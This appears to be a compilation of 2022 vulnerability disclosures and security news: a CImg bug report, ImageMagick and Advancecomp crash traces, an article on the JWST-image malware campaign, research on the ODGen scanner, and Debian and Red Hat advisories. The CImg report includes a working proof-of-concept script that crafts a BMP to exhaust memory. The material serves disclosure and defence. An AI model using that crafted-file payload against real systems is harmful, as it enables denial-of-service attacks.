A flaw was found in Clmg, where with the help of a maliciously crafted pandore or bmp file with modified dx and dy header field values it is possible to trick the application into allocating huge buffer sizes like 64 Gigabyte upon reading the file from disk or from a virtual buffer.

**Description**

Via a maliciously crafted pandore or bmp file with modified dx and dy header field values it is possible to trick the application into allocating huge buffer sizes like 64 Gigabyte upon reading the file from disk or from a virtual buffer.

**Version**

This does affect the newest Version of Cimg which is 3.10, commit 607aea7 as the time of writing.

**Proof of Concept**

Due to the fact that I cannot attach bmp files in this format, here is a small python script that will generate a bmp file with given dimmensions. Note that the final buffer size is calculated by multiplying the product of width and height by 3. This code snippet uses a sample value of 5 GB.

    import struct
    
    def write_size(dx,dy):
        x = struct.pack('I',dx)
        y = struct.pack('I',dy)
        
        min_bmp_head = list(
                   b'BM\xf2Y\x03\x00\x00\x00\x00\x006\x04\x00\x00(\x00\x00\x00 \
                   V\xa8\xab1\x02\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00 \
                   \xbcU\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00 \
                   \x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x01\x01\x00\x03\x03'
                            )
    
        min_bmp_head[0x12] = x[0]
        min_bmp_head[0x13] = x[1]
        min_bmp_head[0x14] = x[2]
        min_bmp_head[0x15] = x[3]
    
        min_bmp_head[0x16] = y[0]
        min_bmp_head[0x17] = y[1]
        min_bmp_head[0x18] = y[2]
        min_bmp_head[0x19] = y[3]
    
        open('crash.bmp','wb').write(bytes(min_bmp_head))
    
    write_size(833333334,2) # use these two parameters to control dx and dy of the image. 833333334,2 for 5 GB
    

then read the file via standard methods:

    #define cimg_display 0
    #include "CImg.h"
    #include <iostream>
    
    int main(int argc,const char* argv[]){
    
        if (argc < 2){
            printf("no img\n");
            exit(1);
        }
    
        cimg_library::CImg<unsigned char> img;
        img.assign(argv[1]);
    }
    

The code was compiled with g++ version 9.4.0 on Ubuntu 9.4.0-1ubuntu1~20.04 via g++ test.cpp -o ./test -ljpeg -lpng

**Root cause**

_line numbers refer to main branch with commit 927fee5_

altough safe\_size (line 11771) does check for overflows of the size\_t type, it does allow very large values . One would think that the try/catch block try { _data = new T[siz]; } (line 11885) does not allow for allocations that are too big and would completely circumvent this attack but actually, allocations that are equal to the maximum available RAM of a system or even numbers that are a bit higher (I tested the 5 GB case on a 4GB RAM machine) will _not_ thorw an exception like std::bad\_alloc.

**Impact**

This vulnerability allows an attacker who can send images to an application to force an premature process exit and exhaust system memory, potentially leading to a full system denial of service.

**Prevention**

One could define a global constant that regulates the maximum value safe\_size can return. The user then could change the default value depending on context.

CVE-2022-1325: Denial of service via RAM exhaustion in _load_bmp · Issue #343 · GreycLab/CImg

A persistent Golang-based malware campaign dubbed GO#WEBBFUSCATOR has leveraged the deep field image taken from NASA's James Webb Space Telescope (JWST) as a lure to deploy malicious payloads on infected systems.
The development, revealed by Securonix, points to the growing adoption of Go among threat actors, given the programming language's cross-platform support, effectively allowing the

A persistent Golang-based malware campaign dubbed GO#WEBBFUSCATOR has leveraged the deep field image taken from NASA's James Webb Space Telescope (JWST) as a lure to deploy malicious payloads on infected systems.

The development, revealed by **Securonix**, points to the growing adoption of Go among threat actors, given the programming language's cross-platform support, effectively allowing the operators to leverage a common codebase to target different operating systems.

Go binaries also have the added benefit of rendering analysis and reverse engineering difficult as opposed to malware written in other languages like C++ or C#, not to mention prolong analysis and detection attempts.

Phishing emails containing a Microsoft Office attachment act as the entry point for the attack chain that, when opened, retrieves an obfuscated VBA macro, which, in turn, is auto-executed should the recipient enable macros.

The execution of the macro results in the download of an image file "OxB36F8GEEC634.jpg" that seemingly is an image of the First Deep Field captured by JWST but, when inspected using a text editor, is actually a Base64-encoded payload.

"The deobfuscated \[macro\] code executes \[a command\] which will download a file named OxB36F8GEEC634.jpg, use certutil.exe to decode it into a binary (msdllupdate.exe) and then finally, execute it," Securonix researchers D. Iuzvyk, T. Peck, and O. Kolesnikov said.

The binary, a Windows 64-bit executable with a size of 1.7MB, is not only equipped to fly under the radar of antimalware engines, but is also obscured by means of a technique called gobfuscation, which makes use of a Golang obfuscation tool publicly available on GitHub.

The gobfuscate library has been previously documented as used by the actors behind ChaChi, a remote access trojan employed by the operators of the PYSA (aka Mespinoza) ransomware as part of their toolset, and the Sliver command-and-control (C2) framework.

Communication with the C2 server is facilitated through encrypted DNS queries and responses, enabling the malware to run commands sent by the server through the Windows Command Prompt (cmd.exe). The C2 domains for the campaign are said to have been registered in late May 2022.

Microsoft's decision to block macros by default across Office apps has led many an adversary to tweak their campaigns by switching to rogue LNK and ISO files for deploying malware. It remains to be seen if the GO#WEBBFUSCATOR actors will embrace a similar attack method.

"Using a legitimate image to build a Golang binary with Certutil is not very common," the researchers said, adding, "it's clear that the original author of the binary designed the payload with both some trivial counter-forensics and anti-EDR detection methodologies in mind."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Hackers Hide Malware in Stunning Images Taken by James Webb Space Telescope

New graph-based tool offers a better alternative to current approaches for finding vulnerabilities in JavaScript code, they note.

Researchers at Johns Hopkins University recently uncovered a startling 180 zero-day vulnerabilities across thousands of Node.js libraries using a new code analysis tool they developed specifically for the purpose, called ODGen.

Seventy of those flaws have since received common vulnerabilities and exposures (CVE) identifiers. They include command injection flaws, path traversal vulnerabilities, arbitrary code execution issues, and cross-site scripting vulnerabilities — some of them in widely used applications.

In a paper released at the Usenix Security Symposium earlier this month, the Johns Hopkins researchers — Song Li, Mingqing Kang, Jianwei Hou, and Yinzhi Cao — described ODGen as a better alternative to current code-analysis and so-called graph query-based approaches for finding Node.js vulnerabilities.

Program analysis-based approaches have proved useful in helping detect individual vulnerability types such as code-injection flaws in JavaScript. But they cannot be easily extended to detect all kind of vulnerabilities that might be present in the Node.js platform, the researchers said. Similarly, graph-based code-analysis methods — where code is first represented as a graph and then queried for specific coding errors — works well in environments such as C++ and PHP. However, graph-based approaches are not as efficient in mining for JavaScript vulnerabilities because of the programming language's extensive use of dynamic features, they noted.

**A 'Novel' Approach for Finding JavaScript Vulnerabilities**

So, the researchers instead developed what they described as a "novel" and better method called Object Dependence Graph (ODG) that can be used for detecting Node.js vulnerabilities. They implemented ODGen to generate "ODG" for Node.js programs to detect vulnerabilities, they said.

Cao, assistant professor of computer science at Johns Hopkins University and a co-author of the research report, uses a couple of analogies to describe graph-based code analysis in general and their proposed Objective Dependence Graph. "If we consider a vulnerability as a special pattern — say, a green node connected with a red node and then a black node — a graph-based code-analysis tool first converts programs to a graph with many nodes and edges," Cao says. "Then the tool looks for such patterns in the graph to locate a vulnerability."

The Object Dependence Graph that the researchers have proposed refines this approach by representing JavaScript objects as nodes and adding features — including dependencies between objects — that are specific to the programming language, and then querying for errors. Cao describes how the method works using grains in a handful of rice: If all the grains look the same before boiling but assume two different shades after boiling — one representing good grains and the other bad grains — then it becomes easier to spot and weed out the bad grains. "Abstract interpretation is kind of like the boiling process that converts rice — that is, programs — into different colored objects" so errors are easier to spot, Cao says.

**A Variety of Bugs**

To see if their approach works, the researchers first tested ODGen against a sample of 330 previously reported vulnerabilities in Node.js packages on the node package manager (npm) repository. The test showed the scanner correctly identifying 302 of the 330 vulnerabilities. Buoyed by the relatively high accuracy rate, the researchers ran ODGen against some 300,000 Java packages in npm. The scanner reported a total of 2,964 potential vulnerabilities across the packages. The researchers checked 264 of them — all with more than 1,000 downloads per week on average — and were able to confirm 180 as being legitimate vulnerabilities. Forty-three of them were at the application level, 122 were in packages that are imported by other applications or code, and the remaining 15 were present in indirect packages.

A plurality (80) of the confirmed vulnerabilities that ODGen detected were command injection flows that allow attackers to execute arbitrary code at the operating system level via a vulnerable application. Thirty were path traversal flaws; 24 enabled code tampering, and 19 involved a specific type of command injection attack called prototype pollution.

New ODGen Tool Unearths 180 Zero-Days in Node.js Libraries

ODGen tool was presented at this year’s Usenix Security Symposium

ODGen tool was presented at this year’s Usenix Security Symposium

Researchers at Johns Hopkins University have developed a graph-based code analysis tool that can detect a wide range of vulnerabilities in JavaScript programs.

Called ODGen, the tool was presented at this year’s Usenix Security Symposium and addresses some of the challenges that limited the use of graph-based security tools in analyzing JavaScript programs.

The researchers proved the effectiveness of ODGen by applying it to thousands of Node.js libraries, where it discovered 180 zero-day vulnerabilities and received 70 CVEs.

**Graph-based methods**

Graph-based scanners parse source code files to build a graph structure that represents the different properties and execution branches of an application. This graph can then be used to model and find vulnerabilities in the source code.

Graph query-based approaches have proven to be very effective in detecting vulnerabilities in some programming languages. One technique in particular, Code Property Graph (CPG), has proven to be successful in securing C/C++ and PHP code.

**RECOMMENDED** Critical command injection vulnerability discovered in Bitbucket Server and Data Center

Inspired by the success of graph methods – particularly CPG – the researchers at Johns Hopkins University tried to apply them to JavaScript. While there are different tools for finding specific vulnerabilities in JavaScript code, graph-based tools promise to provide a general framework for detecting all kinds of vulnerabilities.

“JavaScript, particularly Node.js, is becoming a vital community with millions of packages these days,” Yinzhi Cao, co-author of the paper and assistant professor of computer science at Johns Hopkins University, told _The Daily Swig_.

“At the same time, many of these NPM packages are less maintained and vulnerabilities are prevalent in the NPM ecosystem. That is why we decided to perform the study to make the ecosystem a safer environment.”

However, their initial findings showed that CPG is not very effective in JavaScript due to the language’s dynamic structure, which makes it much more difficult to parse and analyze object relations and program branches prior to execution.

“CPG does not model detailed object relations including (i) prototype chains and (ii) object-level data flows. Therefore, it is hard to apply CPG to detect JavaScript-specific vulnerabilities, such as Prototype Pollution and Internal Property Tampering. And it is hard to model fine-grained object-level data flows in CPG,” Cao said.

**Object Dependence Graph**

In their paper, the researchers propose Object Dependence Graph (ODG) as a novel method to build graphs from JavaScript code. ODG uses some of the components of CPG, such as Abstract Syntax Trees (AST), and adds features that are specific to JavaScript, including fine-grained data dependency between objects. Accordingly, the researchers created ODGen, a tool for creating and querying ODGs.

“Our proposed ODGen abstractly interprets JavaScript code and generates a so-called Object Dependence Graph to capture such dynamic features including object relations so that a graph query-based approach can easily obtain such information and detect vulnerabilities,” Cao said.

Read more of the latest infosec research news

The researchers designed ODGen to detect vulnerabilities at application and package levels. They tested the tool on 330 documented vulnerabilities that spanned across 16 categories, including cross-site scripting (XSS), server- and client-side request forgery (SSRF/CSRF), SQL injection, prototype pollution, and command injection.

The tool was able to detect 13 types of vulnerabilities with very high accuracy, discovering 302 of the 330 bugs.

They expanded their test by crawling 300,000 NPM packages and applying ODGen with graph queries to detect queries. ODGen reported nearly 3,000 security bugs, of which the researchers verified 264 that belonged to libraries with more than 1,000 weekly downloads. They were able to confirm and report 180 security bugs, many of which were in libraries that are used widely in web applications. Of the discovered vulnerabilities, 70 were assigned CVEs.

ODGen shows how much more needs to be done to secure the open source JavaScript ecosystem and how the adaptation of existing tools can help in developing holistic approaches to securing Node.js libraries.

In the future, Cao said, the team might extend ODGen to other programming languages used in web applications, including PHP and Java.

**YOU MIGHT LIKE** Ethereum Foundation offers $1m bug bounty payouts with proof-of-stake migration multiplier

Graph-based JavaScript bug scanner discovers more than 100 zero-day vulnerabilities in Node.js libraries

Poppler prior to and including 22.08.0 contains an integer overflow in the JBIG2 decoder (JBIG2Stream::readTextRegionSeg() in JBIGStream.cc). Processing a specially crafted PDF file or JBIG2 image could lead to a crash or the execution of arbitrary code. This is similar to the vulnerability described by CVE-2022-38171 in Xpdf.

CVE-2022-38784: Poppler

A heap-buffer-overflow flaw was found in ImageMagick’s PushShortPixel() function of quantum-private.h file. This vulnerability is triggered when an attacker passes a specially crafted TIFF image file to ImageMagick for conversion, potentially leading to a denial of service.

**ImageMagick version**

7.1.0-28

**Operating system**

Linux

**Operating system, version and so on**

OS: Ubuntu 20.04.3 LTS  
Version: ImageMagick 7.1.0-28 Q16-HDRI x86\_64 2022-03-04 https://imagemagick.org  
Copyright: (C) 1999 ImageMagick Studio LLC  
License: https://imagemagick.org/script/license.php  
Features: Cipher DPC HDRI  
Delegates (built-in): bzlib fontconfig freetype jbig jng jpeg lzma pangocairo png tiff x xml zlib  
Compiler: gcc (4.2)

**Description**

Hello,  
We found a heap overflow vulnerability in magick

**Steps to Reproduce**

build it  
CC=afl-clang-lto CXX=afl-clang-lto++ CFLAGS="-g -fsanitize=address -fno-omit-frame-pointer" CXXFLAGS="-g -fsanitize=address -fno-omit-frame-pointer" LDFLAGS="-g -fsanitize=address -fno-omit-frame-pointer" ./configure --disable-shared --prefix="/root/fuzz/target/imagemagick/ImageMagick/install"

AFL_USE_ASAN=1 make -j24 && make install -j24

run it  
./magick convert poc /dev/null  
output

\=================================================================  
\==1195823==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61900000181c at pc 0x000000cd5328 bp 0x7ffdacd61fa0 sp 0x7ffdacd61f98  
READ of size 1 at 0x61900000181c thread T0  
#0 0xcd5327 in PushShortPixel /root/fuzz/target/image\_magick/ImageMagick/./MagickCore/quantum-private.h  
#1 0xcd5327 in ImportRGBAQuantum /root/fuzz/target/image\_magick/ImageMagick/MagickCore/quantum-import.c:4232:15  
#2 0xcd5327 in ImportQuantumPixels /root/fuzz/target/image\_magick/ImageMagick/MagickCore/quantum-import.c:4780:7  
#3 0x13e73f2 in ReadTIFFImage /root/fuzz/target/imagemagick/ImageMagick/coders/tiff.c:2052:24  
#4 0x6f9981 in ReadImage /root/fuzz/target/image\_magick/ImageMagick/MagickCore/constitute.c:728:15  
#5 0x6fe991 in ReadImages /root/fuzz/target/image\_magick/ImageMagick/MagickCore/constitute.c:1075:9  
#6 0x157caa5 in ConvertImageCommand /root/fuzz/target/imagemagick/ImageMagick/MagickWand/convert.c:614:18  
#7 0x17191fd in MagickCommandGenesis /root/fuzz/target/imagemagick/ImageMagick/MagickWand/mogrify.c:188:14  
#8 0x580b89 in MagickMain /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:150:10  
#9 0x580b89 in main /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:182:10  
#10 0x7f499b68b0b2 in \_\_libc\_start\_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16  
#11 0x4ce36d in \_start (/root/fuzz/target/imagemagick/ImageMagick/install/bin/magick+0x4ce36d)

0x61900000181c is located 10 bytes to the right of 914-byte region \[0x619000001480,0x619000001812)  
allocated by thread T0 here:  
#0 0x54ab1d in malloc (/root/fuzz/target/imagemagick/ImageMagick/install/bin/magick+0x54ab1d)  
#1 0x13e6faf in ReadTIFFImage /root/fuzz/target/imagemagick/ImageMagick/coders/tiff.c:1996:39  
#2 0x6f9981 in ReadImage /root/fuzz/target/image\_magick/ImageMagick/MagickCore/constitute.c:728:15  
#3 0x6fe991 in ReadImages /root/fuzz/target/image\_magick/ImageMagick/MagickCore/constitute.c:1075:9  
#4 0x157caa5 in ConvertImageCommand /root/fuzz/target/imagemagick/ImageMagick/MagickWand/convert.c:614:18  
#5 0x17191fd in MagickCommandGenesis /root/fuzz/target/imagemagick/ImageMagick/MagickWand/mogrify.c:188:14  
#6 0x580b89 in MagickMain /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:150:10  
#7 0x580b89 in main /root/fuzz/target/imagemagick/ImageMagick/utilities/magick.c:182:10  
#8 0x7f499b68b0b2 in \_\_libc\_start\_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzz/target/image\_magick/ImageMagick/./MagickCore/quantum-private.h in PushShortPixel  
Shadow bytes around the buggy address:  
0x0c327fff82b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c327fff82c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c327fff82d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c327fff82e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c327fff82f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
\=>0x0c327fff8300: 00 00 02\[fa\]fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c327fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07  
Heap left redzone: fa  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
Left alloca redzone: ca  
Right alloca redzone: cb  
\==1195823==ABORTING

**Images**

poc.zip

CVE-2022-1115: heap-buffer-overflow in magick at quantum-private.h PushShortPixel · Issue #4974 · ImageMagick/ImageMagick

Advancecomp v2.3 contains a segmentation fault.

    AddressSanitizer:DEADLYSIGNAL
    
    ==4310==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004298a4 bp 0x000000000001 sp 0x7fffdc8dd140 T0)
    ==4310==The signal is caused by a READ memory access.
    ==4310==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
        #0 0x4298a4 in bool __sanitizer::atomic_compare_exchange_strong<__sanitizer::atomic_uint8_t>(__sanitizer::atomic_uint8_t volatile*, __sanitizer::atomic_uint8_t::Type*, __sanitizer::atomic_uint8_t::Type, __sanitizer::memory_order) /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_atomic_clang.h:80
        #1 0x4298a4 in __asan::Allocator::AtomicallySetQuarantineFlagIfAllocated(__asan::AsanChunk*, void*, __sanitizer::BufferedStackTrace*) /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_allocator.cpp:621
        #2 0x4298a4 in __asan::Allocator::Deallocate(void*, unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType) /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_allocator.cpp:697
        #3 0x4298a4 in __asan::asan_free(void*, __sanitizer::BufferedStackTrace*, __asan::AllocType) /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_allocator.cpp:971
        #4 0x4b1550 in free /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:128
        #5 0x52382d in mng_write_done(adv_mng_write_struct*) /home/bupt/Desktop/advancecomp/mngex.cc:709:2
        #6 0x5088ea in convert_f_mng(adv_fz_struct*, adv_fz_struct*, unsigned int*, unsigned int*, adv_scroll_info_struct*, bool, bool) /home/bupt/Desktop/advancecomp/remng.cc:524:3
        #7 0x4fbd7d in convert_mng(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/bupt/Desktop/advancecomp/remng.cc:593:3
        #8 0x4fc3dd in convert_mng_inplace(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/bupt/Desktop/advancecomp/remng.cc:614:3
        #9 0x4ffc08 in remng_single(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, unsigned long long&, unsigned long long&) /home/bupt/Desktop/advancecomp/remng.cc:950:4
        #10 0x50b705 in remng_all(int, char**) /home/bupt/Desktop/advancecomp/remng.cc:985:3
        #11 0x5102d4 in process(int, char**) /home/bupt/Desktop/advancecomp/remng.cc:1249:3
        #12 0x511a98 in main /home/bupt/Desktop/advancecomp/remng.cc:1268:3
        #13 0x7fcbd84a9c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
        #14 0x41f289 in _start (/home/bupt/Desktop/advancecomp/advmng+0x41f289)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_atomic_clang.h:80 in bool __sanitizer::atomic_compare_exchange_strong<__sanitizer::atomic_uint8_t>(__sanitizer::atomic_uint8_t volatile*, __sanitizer::atomic_uint8_t::Type*, __sanitizer::atomic_uint8_t::Type, __sanitizer::memory_order)
    ==4310==ABORTING
    

    SUMMARY: AddressSanitizer: SEGV /home/bupt/Desktop/tools/llvm-12.0.1/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_atomic_clang.h:80 in bool __sanitizer::atomic_compare_exchange_strong<__sanitizer::atomic_uint8_t>(__sanitizer::atomic_uint8_t volatile*, __sanitizer::atomic_uint8_t::Type*, __sanitizer::atomic_uint8_t::Type, __sanitizer::memory_order)

CVE-2022-35014: Poc/CVE-2022-35014.md at main · Cvjark/Poc

Schroot before 1.6.13 had too permissive rules on chroot or session names, allowing a denial of service on the schroot service for all users that may start a schroot session.

\[Date Prev\]\[Date Next\] \[Thread Prev\]\[Thread Next\] \[Date Index\] \[Thread Index\]

*   _To_: debian-security-announce@lists.debian.org
*   _Subject_: \[SECURITY\] \[DSA 5213-1\] schroot security update
*   _From_: Salvatore Bonaccorso <carnil@debian.org\>
*   _Date_: Thu, 18 Aug 2022 11:57:49 +0000
*   _Message-id_: <\[🔎\] E1oOe9l-0005Q6-PA@seger.debian.org\>
*   _Reply-to_: debian-security-announce-request@lists.debian.org

\-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

- -------------------------------------------------------------------------
Debian Security Advisory DSA-5213-1                   security@debian.org
https://www.debian.org/security/                     Salvatore Bonaccorso
August 18, 2022                       https://www.debian.org/security/faq
- -------------------------------------------------------------------------

Package        : schroot
CVE ID         : CVE-2022-2787

Julian Gilbey discovered that schroot, a tool allowing users to execute
commands in a chroot environment, had too permissive rules on chroot or
session names, allowing a denial of service on the schroot service for
all users that may start a schroot session.

Note that existing chroots and sessions are checked during upgrade, and
an upgrade is aborted if any future invalid name is detected.

Problematic session and chroots can be checked before upgrading with the
following command:

  schroot --list --all | LC\_ALL=C grep -vE '^\[a-z\]+:\[a-zA-Z0-9\]\[a-zA-Z0-9\_.-\]\*$'

See

  <https://codeberg.org/shelter/reschroot/src/tag/release/reschroot-1.6.13/NEWS#L10-L41\>

for instructions on how to resolve such a situation.

For the stable distribution (bullseye), this problem has been fixed in
version 1.6.10-12+deb11u1.

We recommend that you upgrade your schroot packages.

For the detailed security status of schroot please refer to its security
tracker page at:
https://security-tracker.debian.org/tracker/schroot

Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org
-----BEGIN PGP SIGNATURE-----

iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmL+KGJfFIAAAAAALgAo
aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2
NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND
z0QPdw/7BxDIMRgoa6zm6iTUvN/hcaim3Z1SJ/ZQhAaKtdU1RtqqlOz/BcQiovrZ
6xfl+Ss8kWQRjuqmR2G30tnLY2nW992vNw5PhQl/mlC4NHkFZIySPNQioAuesiF1
jp0iAvTwDGyHsrZmRdPIP3qB+PwycKnK57dq5FZizS9UNs7VYMLFDwXRk0XmhtwV
F1U8JxX57cfPtxFspoIWEGBa8yuD4IWR/UDzd/taWd4LspB1K2gyEfN2uacvGGwl
UGu2/hjAGOQwIlSvRHpuYlgb4FZCM7v2hQNeb0okIOQb+Id0g1kqxVuAdP03GrTp
s/5B+cUh9IFG2fEccOgB5YUz5T5p9NUD2CgccCa3GjXrsDg8qpig5RCVC5KShvYF
9JHcl6l09LQVZdVtGpJKVIpCyrGjLEKUpwsHZPbDs3/r4UkL8Hj7H4Us4d1dN1bB
vtjaxPJ2uCzlEXhc6bzTV6dLLUj0qmO8pxAIoOce9MI3GVIUTMPr7RnRYMewN4Re
++mJRLSEQNOpcg9YOfLh5eVr/RB21ZuqI+9/N0OzJ9oHvnSyuegKzCzJV6EsTsjF
vKnpy7Pb6agPb+M3GW7TfWuftvNbtnmsyM942OgeqYl/jvK0lvRaNLyJIi/FYry0
t3mmo/QsdgBVua4yfIragbUwBk3mcAnMvhivOJFJoBSrigfUErg=
=Gh4e
-----END PGP SIGNATURE-----

**Reply to:**

*   debian-security-announce@lists.debian.org
*   Salvatore Bonaccorso (on-list)
*   Salvatore Bonaccorso (off-list)

*   Prev by Date: **\[SECURITY\] \[DSA 5212-1\] chromium security update**
*   Next by Date: **\[SECURITY\] \[DSA 5214-1\] kicad security update**
*   Previous by thread: **\[SECURITY\] \[DSA 5212-1\] chromium security update**
*   Next by thread: **\[SECURITY\] \[DSA 5214-1\] kicad security update**
*   Index(es):
    *   **Date**
    *   **Thread**

CVE-2022-2787: [SECURITY] [DSA 5213-1] schroot security update

A vulnerability was found in mod_wsgi. The X-Client-IP header is not removed from a request from an untrusted proxy, allowing an attacker to pass the X-Client-IP header to the target WSGI application because the condition to remove it is missing.

CVE-2022-2255: mod_wsgi/mod_wsgi.c at 4.9.2 · GrahamDumpleton/mod_wsgi

Red Hat Security Advisory 2022-6184-01 - The Self Node Remediation Operator works in conjunction with the Machine Health Check or the Node Health Check Operators to provide automatic remediation of unhealthy nodes by rebooting them. This minimizes downtime for stateful applications and RWO volumes, as well as restoring compute capacity in the event of transient failures.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

====================================================================                     
Red Hat Security Advisory

Synopsis:          Important: Self Node Remediation Operator 0.4.1 security update  
Advisory ID:       RHSA-2022:6184-01  
Product:           RHWA  
Advisory URL:      https://access.redhat.com/errata/RHSA-2022:6184  
Issue date:        2022-08-25  
CVE Names:         CVE-2022-1292 CVE-2022-1586 CVE-2022-1785  
                   CVE-2022-1897 CVE-2022-1927 CVE-2022-2068  
                   CVE-2022-2097 CVE-2022-30631  
====================================================================  
1. Summary:

This is an updated release of the Self Node Remediation Operator. The Self  
Node Remediation Operator replaces the Poison Pill Operator, and is  
delivered by Red Hat Workload Availability.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Description:

The Self Node Remediation Operator works in conjunction with the Machine  
Health Check or the Node Health Check Operators to provide automatic  
remediation of unhealthy nodes by rebooting them. This minimizes downtime  
for stateful applications and RWO volumes, as well as restoring compute  
capacity in the event of transient failures.

Security Fix(es):

* golang: compress/gzip: stack exhaustion in Reader.Read (CVE-2022-30631)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, see the CVE page(s)  
listed in the References section.

3. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, see:

https://access.redhat.com/articles/11258

4. Bugs fixed (https://bugzilla.redhat.com/):

2107342 - CVE-2022-30631 golang: compress/gzip: stack exhaustion in Reader.Read

5. References:

https://access.redhat.com/security/cve/CVE-2022-1292  
https://access.redhat.com/security/cve/CVE-2022-1586  
https://access.redhat.com/security/cve/CVE-2022-1785  
https://access.redhat.com/security/cve/CVE-2022-1897  
https://access.redhat.com/security/cve/CVE-2022-1927  
https://access.redhat.com/security/cve/CVE-2022-2068  
https://access.redhat.com/security/cve/CVE-2022-2097  
https://access.redhat.com/security/cve/CVE-2022-30631  
https://access.redhat.com/security/updates/classification/#important

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYwdmJdzjgjWX9erEAQhbTQ//Tplmgrd41CYr3MR1vSfhYdQqJ34XomuL  
GVZ77BNRxA7zb3JbCM11UhxmnZGFfSHvza7hWXsJuHLlRxp+niURrxzHcERDTolY  
Glh8K0KNa4cPAbvBkL293UJz3yfwbuy1XUn55tQ2s4BSKyLmDlekxT/8P96gUbl4  
JEw5B1gV/XHYk0njC5PgGjmwwe6JT05efvBFaiSLDkHhahpBjamUaDMov7IElIu7  
khA8XF/Ty2KXrWDNdothqw1TCHRc41pQLo3MPpeGyA6QTFvw+6nNvYtr5bi6PspO  
raElAq1kszYiLXF1/FHrE5ZVWRJrwAPIlt+ZtYS6JCQmvHJPEEGGBuuzPYsraR25  
+NI8r8z5aiNxYtP4/TtBFZD9SmZE4zr64z5vHZAzv4YUvFl5Fs3ITx88SQ20opXT  
BtgWxz1rsyDrcF2nOH98BrczJVsG7kpnQGw/Zhpril8n1AP/o7YEBE1TPjpG33PA  
RkFfHEfsev0pmuxN69DmBA290XN+khQSBgWKhndACDA5HcjA7hO4/jqxxW+TzfFS  
gplu7pnyXSmTgYQxuHNfREkePpwzDCIPkXVOCQdlSpXF0iFgcCXygs6dq30j+54z  
lWPGcfYNE+0L1tGeUtgTcBgeeMHc/zX3+9BGXZ+rA3oLxV/ySZNQfJqQsH4CUyqr  
2xsqRVjngeU=QoWK  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Tag

#c++